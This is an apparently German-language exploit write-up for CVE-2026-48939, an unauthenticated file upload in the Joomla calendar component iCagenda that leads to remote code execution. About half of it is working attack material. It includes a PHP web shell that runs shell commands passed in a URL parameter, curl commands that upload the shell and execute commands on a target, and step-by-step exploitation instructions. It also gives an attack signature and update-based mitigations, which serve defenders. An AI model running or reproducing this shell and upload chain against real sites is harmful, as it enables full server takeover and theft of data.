CVE-2026-48939 - iCagenda Nicht authentifizierter Datei-Upload zu RCE

Übersicht

Beschreibung der Sicherheitslücke

iCagenda, eine beliebte Ereignis- und Kalenderkomponente für Joomla, enthält eine nicht authentifizierte Datei-Upload-Sicherheitslücke, die es entfernten Angreifern ermöglicht, beliebigen PHP-Code auf Joomla 6-Seiten hochzuladen und auszuführen.

Technische Details

Die Sicherheitslücke besteht in der Dateianhang-Funktion des Frontend-Event-Übermittlungsformulars:

1. Fehlende Zugriffskontrolle: Der Submit-Endpunkt (index.php?option=com_icagenda&task=registration.submit) erzwingt keine Authentifizierung und umgeht so die Einstellung „Nur registrierte Benutzer“.

2. Keine Dateiüberprüfung: Hochgeladene Dateien werden mit ihrer ursprünglichen Dateiendung gespeichert, ohne:

   • Validierung der Erlaubnisliste für Dateiendungen
   • MIME-Typ-Überprüfung
   • Überprüfung des Dateiinhalts

3. Direktes Dateischreiben: Dateien werden direkt unter dem Web-Root in /images/icagenda/frontend/attachments/[Dateiname] geschrieben.

4. PHP-Ausführung: In Joomla 6 sind die hochgeladenen .php-Dateien ausführbar, was zu Remote Code Execution (RCE) führt.

Proof of Concept

Methode 1: Verwendung von curl (Einzelner Befehl)

# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

Methode 2: Verwendung des PoC-Skripts

# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

Schritte zur Ausnutzung

1. Verwundbaren Endpunkt identifizieren:

   root@kitploit:~

   https://target.com/index.php?option=com_icagenda&task=submit
   

2. PHP-Webshell hochladen:

   root@kitploit:~

   curl -X POST -F "jform[attachment][email protected]" \
     "https://target.com/index.php?option=com_icagenda&task=submit"
   

3. Shell ausführen:

   root@kitploit:~

   curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
   

Auswirkungen

• Vertraulichkeit: Vollständiger Verlust der Vertraulichkeit – Angreifer kann alle Dateien lesen
• Integrität: Vollständiger Verlust der Integrität – Angreifer kann alle Daten ändern
• Verfügbarkeit: Vollständiger Verlust der Verfügbarkeit – Angreifer kann Dienst verweigern
• Remote Code Execution: Vollständige Serverkompromittierung

Angriffssignatur

Basierend auf realen Ausnutzungsprotokollen lautet die Angriffssignatur:

# Schritt 1: Hochladen
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Schritt 2: Ausführen
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

Abhilfemaßnahmen

1. Sofort: iCagenda auf Version 4.0.8 (oder 3.9.15 für den Legacy-Zweig) aktualisieren
2. Alternative: Entfernen oder umbenennen Sie die com_icagenda-Ordner vorübergehend
3. Hinweis: Das Veröffentlichen aufheben der Komponente schützt NICHT vor dieser Sicherheitslücke

Referenzen

• iCagenda Zero Day RCE - mysites.guru
• iCagenda Offiziell
• Änderungsprotokoll 4.0.8
• CISA ADP-Bericht

Haftungsausschluss

Dieser PoC dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal.